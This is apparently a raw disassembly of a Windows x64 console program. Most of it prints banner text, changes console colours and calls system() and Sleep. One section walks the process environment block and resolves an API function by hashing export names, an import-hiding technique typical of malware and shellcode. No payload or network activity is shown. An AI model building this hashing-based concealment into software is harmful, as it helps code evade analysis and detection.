call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.____________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082bd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140082c30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.____________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.______________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._____________________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140083090]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x1400830d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.___________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000bf10
lea rdx, [0x14000c3b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14000b46a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14000b46a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x41c711c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000b465
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000b440
cmp r8d, 0x69eae55f
je 0x14000b472
test r9d, r9d
jne 0x14000b410
mov rax, qword [rax]
jmp 0x14000b3e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0xbb8
call rax
lea rcx, [0x140082b64]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r8d, r12d
mov edx, 0xfffffff0
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, dword [rbp + 0x7a4]
mov r9d, dword [rbp + 0x79c]
sub ecx, r9d
mov eax, dword [rbp + 0x7a0]
mov r8d, dword [rbp + 0x798]
sub eax, r8d
mov dword [rsp + Ordinal_50], 0x30
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], eax
mov rdx, 0xfffffffffffffffe
mov rcx, r14
call qword [sym.imp.USER32.dll_SetWindowPos]
mov edi, Ordinal_32
jmp 0x140006202
xor eax, eax
mov rcx, qword [rbp + 0x7a8]
xor rcx, rsp
call fcn.14006e730
lea r11, [rsp + 0x8e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002060
int3
call fcn.140002100
int3